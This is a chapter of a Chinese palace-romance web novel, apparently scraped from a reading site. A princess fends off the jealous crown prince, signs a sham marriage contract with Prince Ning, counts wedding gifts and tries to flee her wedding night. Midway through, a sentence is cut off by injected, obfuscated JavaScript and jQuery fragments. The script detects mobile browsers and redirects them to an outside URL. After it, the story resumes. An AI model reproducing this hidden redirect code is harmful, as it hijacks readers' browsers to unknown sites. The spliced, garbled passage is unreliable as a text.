默认冷灰
24号文字
方正启体

30. 洞房花烛夜

作者:云箜本书字数:K更新时间:
    “为什么不说话?嗯?”


    贺归辞将谢宜面上的每一个表情都尽收眼底,见她不言语,还有些走神,他不满地皱了下眉,摩挲着她脸颊的指腹不由得微微用力。


    危险的感觉一刹在周遭弥漫。


    “嘶......”谢宜疼得刹那回神,忙掀起盈盈眼眸瞧他,伸手握住他的腕骨,轻轻将他的手放下。


    她其实不知道要说什么,且听到他方才那话时,反倒想啐他两句。


    什么再穿嫁衣?她若能得了自由,绝不会让自己再陷入四四方方的围墙里。


    然真要如实说来,这人又不知要发什么脾气,她只得粲然笑道:“我在想,能让归辞哥哥见到我穿这一身嫁衣,也不枉我饿了一日。”


    她温热的掌心透过腕骨渗进身体,贺归辞心中微暖了一瞬,可听到她竟饿了一早上,霎时黑了脸,沉声道:“走个过场罢了,那疯子居然敢让你饿肚子,他什么居心?”


    “并非如此,皇祖母上个月才给我量身做的嫁衣,”谢宜温声笑了,指指自己的腰,解释道,“结果这儿大了一圈儿,我今儿若吃得太多,必定是穿不上这嫁衣的,便唯控制食量了。”


    她笑得眉眼弯弯,眸里仿佛自带星辰,神色难得娇悄可爱,贺归辞怔怔地看着,一时间迷了眼。


    感觉到男人的情绪有些不对,连气氛都莫名地旖旎起来,谢宜微惊,只想快快打发了他,继而笑道:“归辞哥哥,这里毕竟是宁王府,若被人发觉你新婚之夜过来,到底不好,莫若你先回去,待我寻到机会,一定去找你。”


    贺归辞闻言恍然回神,他反手握住谢宜,粗糙的指腹在她两指间的虎口处反复摩挲着,暗示的意味很是明显。


    男人幽幽笑道:“我舍不得这么快便离开,何况阿宜是觉得我会怕了那个疯子?”


    谢宜此时有一万匹草泥马在心里疯狂叫嚣,面上却不敢表现出分毫,只是温声道:“怎会?我担心的是归辞哥哥的太子之位,素来得民心者得天下,归辞□□后想荣登帝位,一来需陛下信任,二来需臣民信服。你试想想,太子新婚之夜流连宁王新房,若此事被有心人传扬出来,陛下会如何想?百姓会如何想?”


    她一面说,一面起身,反握住贺归辞的手,见他眉心微动,忙继续循循善诱:“自古储君最是难当,行事既不能太过,亦不可太怯懦,一来要免圣上疑心,二来要展现自己的能力和担当,三来还要应付那些心怀不轨、时时觊觎太子之位的兄弟姐妹。今日若传扬出去,归辞哥哥必当难做,阿宜不愿见你陷入如此困境。”


    贺归辞听了这话,顿时只觉轰雷掣电。


    细细想来,谢宜此言将自己如今的处境描述得十分恰当,她的这些话竟比从自己肺腑中掏出来的还要恳切。


    原有满腔话语要说,然沉吟片刻,他终究转口道:“罢了,你今日必定累了,好好歇息。”


    正说着,他倏地转了眸色,目光变得偏执狠厉:“只是一样,记得你我的约定,万不可与他同房。若他敢强来......”


    “若他敢强来,我先一棍子把他狠狠打出去。”贺归辞话还未道完,谢宜便咬牙切齿地道。


    她这话不假。


    倘或贺序白敢强来,她先一棍把他打出去。


    谢宜不知想到什么,忽然笑了,道:“归辞哥哥且安心,你忘了,我打人一向很狠,那个病秧子岂是我的对手?”


    她抹了胭脂的唇弯起个漂亮的弧度,配上那有些夸张的表情,男人眸底的偏执一刹消散,他反手与她相握,再腾出另一只手,满脸温柔地摸了摸她的发顶,轻声应:“嗯,我信你。”


    ***


    很是艰难地将贺归辞哄走后,谢宜一脸疲惫地坐下,长长地吁了口气,一直保持警惕的神经也霎时松下来。


    “吱......”


    恰在此时,房门处忽地又响起开门声。


    谢宜瞳孔一震,汗毛都竖了起来,她立刻惊站起,紧紧盯着房门口。


    却见青榆捧着一托盘的菜进来,一见她站起,不由得诧异道:“姑娘你呆呆地站着做什么?腿不酸么?我拿了你爱吃的烧鸡、酸醋鱼、冬笋蒸鹅和四鲜汤。”


    闻得饭菜香,谢宜松口气,捶了捶一直僵着的肩膀,往桌旁一挪,坐下后倦极般道:“厨房离这儿很远么?怎么拿了这般久?”


    “不远。我才到那,原要拿几个羊肉包子就回来的,谁知他们听到是拿给姑娘的,硬是要热些新鲜的吃食,所以我便在那等了会。姑娘饿了吧!快吃。”


    如此一听,谢宜多多少少也能猜到些,宁王府的女使男仆皆是宫里挑来的,里头必少不了贺归辞的耳目,想必此番,就是他们拖住青榆。


    贺归辞明明知道她才刚是在等青榆,却偏要那般问。


    一股凉意霎时从脚底蹿上心头。


    又是一道送命题......


    所幸她反应机敏。


    天儿不知在何时渐渐暗了。


    从方才的惊吓中回过神来,谢宜一阵后怕,这里既有贺归辞的眼线,就必少不了贺知鸿和徐明烨的。


    她府里已皆是眼线,如今来了这儿,竟也不得安生。


    青榆给她夹了酸醋鱼和蒸鹅,谢宜低头一看,肚子“咕噜咕噜”叫起来。


    罢了,既来之则安之,什么都不如填饱肚子来得重要。


    将这些烦心事抛到脑后,谢宜低头闻了闻,酸醋鱼那股微酸中带着一丝甜的味道涌入鼻腔,使得她食欲大增。


    谢宜忙拿起筷子尝了尝,片刻,她猛地抬头,惊讶道:“这,这和清腴楼做出来的味道一模一样。青榆姐姐,你也尝尝。”


    青榆摇头笑道:“不用了,姑娘吃吧!才刚我在厨房里听说,今日宴席上的菜都是宁王殿下请清腴楼做的,清腴楼今儿还对外打烊了,只为赶着宁王府这顿喜宴。”


    谢宜从碗里抬起头,愕然道:“我记得清腴楼从不接宴席,他面子能有这么大?”


    “为夫不是说了么?为夫还有很多棠棠想不到的好处,棠棠日后自然知晓。”青榆还没来得及说话,一道清润如空谷涧幽的嗓音自外头而来。


    谢宜偏了下头,瞧来人面上漾着悠悠笑意,正负手而来。


    现下房中可不止他们二人,他竟还敢自称“为夫”,当真是当她夫君当上瘾了么?


    谢宜剜他一眼,脸却禁不住烫起来,她忙瞥了眼青榆,却见她偷偷笑了下,明显是注意到了那两个字,微微躬下身就要退出去。


    谢宜下意识往后伸手,想要抓住青榆的衣角,哪料这丫头跑得倒快,顺手把门带上后,转身就没影儿了。


    房中没了旁人,谢宜反倒镇静起来,抬手把凤冠取下,正要出言提醒贺序白要记得约定。


    谁知男人抢先一步,略低下眉眼,顶着黯然神伤的神情道:“不是说好,婚后在人前,我叫你棠棠的么?可棠棠方才是在责备我么?”


    他一招先发制敌,怼得谢宜一愣一愣的,连到嘴边的话都给忘到脑后,好半晌都没能想起来,只顺着他的话,胡乱地道:“我,我不是不让你叫?是,是你干嘛要自称‘为夫’?”


    “棠棠不是说过,做戏要做足的么?”


    “我是说过,可......”


    没给她思考的时间,贺序白快速问:“在旁人眼里,你我是成亲了吧?”


    谢宜应声,微微的烦躁:“是成亲了,但......”


    “既是成亲了,在人前,我是棠棠的夫君吧?”


    “也对,可......”


    “既然都没错,棠棠到底在纠结什么?”


    “我......”


    明明有满腔的话要说,可到了嘴边,谢宜又不知怎么开口。再望向对面人,却见他眨眨眼,眼尾微微往上勾,目光清澈纯净,一脸的人畜无害。


    谢宜彻底败下阵来,“罢了罢了,你想如何叫,随你便是。”


    ***


    京中的达官贵人虽不曾到场,然碍于这是圣上赐婚,各家仍是按例送了贺礼。


    谢宜吃完饭,贺序白便叫溶殷吩咐几个小厮搬了五厢贺礼进来,皆是各种绫罗绸缎、稀世奇珍、古玩字画等等。


    太后、圣上和皇后亦各赏一份,也不外乎是那几种。


    她不由得笑了,“原以为他们恨毒了你我,送的东西必好不到哪儿去,却不想他们倒挺大方。”


    “那些人最在乎这张脸,倘或送个差些的,我们不如意,将这东西扬了出来,到底是他们没脸。”贺序白淡笑道。


    送出去的东西代表的是脸面,自然不可太寒酸,若果如此,传扬出去是贻笑大方的。


    “对了,婚书我拟好了,还差棠棠的名儿,你写上一个。”贺序白将婚书取出,放到书桌摊平。


    谢宜靠过去一瞧。


    只见这描金鸾凤金纸的正文上写着:“请山河日月为证,敬天地鬼神为凭,贺氏贺序白和谢氏谢宜自愿结为夫妇,从此百年相随,荣辱与共。”


    婚书上的字端正俊秀,刚劲有力,一笔一划间,既有豪放不羁,又有含蓄内敛。


    字如其人,果真如此。


    贺序白磨好墨,将笔递过去。


    “你的字写得不错,”谢宜接过,在两份婚书写下自己的名字,一面随口道,“此番你我原是走个过场罢了,何必这般正式?竟连婚书都备下了。”


    亲眼瞧着谢宜将名字落到婚书上,男人嘴角禁不住上扬。


    片刻,他压了压唇,一见她写完,似是生怕她反悔般立刻把婚书拿起,往名字那轻轻地吹了下,便将两份婚书卷好。


    贺序白递一份给谢宜,一本正经地道:“还是棠棠那句话,既要做戏,便要将戏做足。否则来日有人要拿婚书为证,你我又拿不出来,届时岂不被人揭穿了?”


    细细一想,谢宜深觉他这话说得十分有理。


    若不写上婚书,倘或被人揭穿阴阳圣意,只怕会被有心人利用,殃及郴北。


    将自己的那份婚书卷好后,贺序白很是珍重地将它放回胸前衣袋里,可巧此时,溶殷进来禀道:“殿下,水备好了。”


    贺序白应声,正要出门,忽地思及一事,忙回头和谢宜嘱咐道:“我要去沐浴,棠棠记得把门锁好。”


    他要她把门关好,谢宜自然以为是他沐浴完就准备到另一间房睡,便认认真真地头道:“嗯嗯,你放心。”


    “还有,”男人朝那几箱贺礼抬了下颌,“这些东西,随棠棠处置了。你要拿去换钱也好,留着赏玩也罢,都无妨。”


    谢宜正觉这些东西无用,料着能换些真金白银便好了,谁知贺序白说的话句句正中她心坎上,便笑着连连点头:“你既如此说,我便当真了,明儿我就让秦易找个时间拿这些东西换了银钱。”


    贺序白意味深长地看了她一眼,温声道:“这些是棠棠的,棠棠爱怎以处置便怎么处置,我没意见。”


    他既如此说,谢宜自然不客气。


    ***


    贺序白一走,谢宜忙把门锁好,立刻取了垫子放到地板,顺手牵了笔墨和纸张,吹熄几盏蜡烛,只留床头那两对龙凤花烛后,方坐到地上一件件细数各家奉上的贺礼。


    “云王府送云锦两匹、白釉观音坐像一座、珐琅缠枝莲纹瓶一对,单一匹云锦市价便有上千两,此处竟有将近四五千两了。”


    谢宜数了数云王送来的东西,不由得感慨一句:“到底是得圣上宠爱,近日还打了胜仗归来,就连送个贺礼都如此大方。”


    将这几样东西记下,谢宜继续翻箱倒柜。


    “国公府送青玉浮雕如意两柄,若换了往年市价,大抵也有五百两。”


    “户部尚书李大人送紫檀木雕侍女俑一对,大约三百两。”


    “御史大夫吴大人送范源《春景仕女图》一幅,市价大约有二百五十两。”


    “......”


    数完三箱贺礼,谢宜只觉瞳孔都微震了下,惊愕地喃喃:“单是这三箱,就得了近三万两,这是什么泼天富贵。”


    她虽贵比公主,食邑千户,奈何收到府里的银钱以及用出去的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597093|167264||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    每一笔,皆有登记。她若想挪用,容芷必定知晓,因此她要往外办事,还得暗暗存些体己。


    正打着算盘,房门外忽然响起一阵钥匙转动锁孔的轻微声音。


    谢宜神色一凛,忙抬头望去。


    这么晚了,谁啊?


    不过一瞬,房门“吱”地一声就开了。


    来人竟是贺序白......


    他穿着一袭墨色睡衫,见谢宜咬着笔,盘腿坐在地上,周边尽是翻出的各种贺礼,他无奈笑了声,一面朝她走过去,一面道:“我还以为棠棠早睡了呢,这不,才取了钥匙开门。”


    原来是他。


    谢宜松口气,低头想继续翻开第四箱贺礼,漫不经心地道:“现下时辰也不早了,你来做什么?”


    贺序白觉得她这话问得好生奇怪,便止了脚步,道:“歇息啊!棠棠不也说时辰不早了么?”


    突闻此言,谢宜缓缓抬首,咬着的笔也“啪”地一声掉到地上,似是想到什么,她怔怔问:“你要在这里睡?”


    贺序白登时明白她必是想歪了,正欲出言解释,然见她这般反应,却又忽地勾起他一丝兴致,便饶有趣味地看着她,道:“自然,今晚是你我的洞房花烛夜,良辰吉时,岂可辜负?”


    他故意拉长尾音,语调暧昧,惊得谢宜“腾”地一下站起,警惕地望了眼外头,大喊一声:“青榆。”


    “她歇下了,外头无人。”


    贺序白悠悠地笑着,抬腿便要朝她走去。


    谢宜霎时白了脸,长臂一伸挡在跟前,连忙喝住他:“停停停,我们不是说了么?此番成亲是做戏。”


    贺序白满脸无辜,脚步半点也没停下:“棠棠不也说了,做戏须做足?”


    谢宜:“......”


    谢宜此番真真是深刻地体会到什么叫搬起石头砸自己的脚,眼瞧他步步紧逼,她只得连连后退,直至碰到床边,退无可退,她忙缩回榻上,谁知原扣在床沿的红罗帐被她一碰,瞬间垂下。


    反倒更像邀约他过来了......


    贺序白将帐子撩起,半靠在床沿,意味深长地看了她一眼后,便抬手搭在腰带上,欲宽衣解带。


    烛光映衬下,他红光满面,哪里像个病秧子?


    谢宜憋红了脸,拢紧衣衫挡在面前,扯一句:“你,你身子不是不好么?若行周公之礼只怕损了你的根本。”


    贺序白停下手,险些要忍不住笑出声,他压了压嘴角的笑,才似听到什么惊天笑话般抬头望向她,疑惑道:“谁同你说我身子不好的?”


    男人神色惊疑,却掩不住眸底的潋滟目光。


    谢宜:“......”


    细细一想,确实无人和她提过他身子不好,只是初见时,他脸色苍白,还时不时咳上几声,她便自然而然地以为他身子不大行。


    毕竟谁会把自己身子不好的事挂嘴边呢?


    “可先时你脸色为何这样苍白?”


    “这不过是从前落下的毛病,如今也大好了。棠棠,我们还是安置吧!”


    话音刚落,贺序白垂首继续手里的动作。


    见他此举,谢宜登时吓得腿都软了。


    她忙强迫自己神思翻转。


    忽然灵光一现,谢宜立刻道:“你,你先别宽衣,我还没洗漱,且时辰还早,莫若你先到书房稍等一下?”


    男人扬唇,不免轻笑,“棠棠才刚不还说,现下很晚了么?”


    趁他正晃神,谢宜以迅雷不及掩耳之势钻出帐外,忙往门外跑,胡乱地扬声扯出一句:“这种东西,素来是仁者见仁智者见智,我先去洗漱,你稍候。”


    哪承想还没踏出门槛,谢宜冷不防地止住脚,汕汕地转过头来:“那个,青榆姐姐睡哪儿了?”


    见她一阵慌乱,贺序白原欲出言解释,然话到了嘴边,却又转了口风,只道:“棠棠寻她作甚?浴堂原有女使伺候。”


    他一时兴起几分恶趣味儿,倒想瞧瞧她下一步想做什么。


    谢宜扯出一丝笑,道:“我沐浴不惯其他人伺候,就要青榆姐姐。”


    “青榆住我们院里,你出门右拐,遇到转角的左拐第三间,便是她住的地方,想来她还没睡......”


    他话未道完,门口那人就不见了身影。


    ***


    依着贺序白的指引,谢宜立刻寻到青榆的房间,忙轻轻地敲了几下门。


    青榆铺好床正准备歇下,闻得敲门声,心里正纳闷是谁这么晚了还过来。


    谁知开了门一瞧,竟见自家姑娘穿着一身嫁衣,满脸惊惶又焦急地等在门口。


    可还没等她问出声儿,谢宜便探了半个身子进来,二话不说就拽上她匆匆往外跑。


    “姑娘,你这是做什么?”


    晚风有些凉,吹得谢宜头疼,身后的青榆用力一挣,她霎时脱了手。


    谢宜只好停下来,随意扯了个理由:“我有东西落府里没带来,今儿必得回去取,否则我这一夜都睡不踏实。”


    青榆拧眉思量,姑娘的东西都是经她一手收拾的,但凡重要的皆随嫁妆一块搬过来了。


    还能有什么重要的东西?


    她细想了片刻,到底没想出个所以然,正要问,谢宜又忙道:“好姐姐,你先别管了,同我回去再说。”


    青榆被她拽着跑,不得已忙道:“姑娘,你便要回去,也须得把这身嫁衣换下再说。你穿着嫁衣跑出宁王府,若被人瞧见,明儿定要传到圣上和太后耳朵里,届时你要如何解释?”


    谢宜忽然停下脚步。


    一语惊醒梦中人。


    来不及解释,她忙转身回到青榆房里换了衣裳,又命她收拾几样贵重的东西,挎上包袱打开房门,正欲连夜跑出宁王府。


    谁知门开的一刹间......


    贺序白那张漾着悠悠笑意的脸陡然出现在眼前。


    淡淡地瞥了眼她挎着的包袱,男人眼底没有丝毫惊讶,反而温声笑道:“棠棠这是要往哪儿去?今晚不是你我的洞房花烛夜么?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)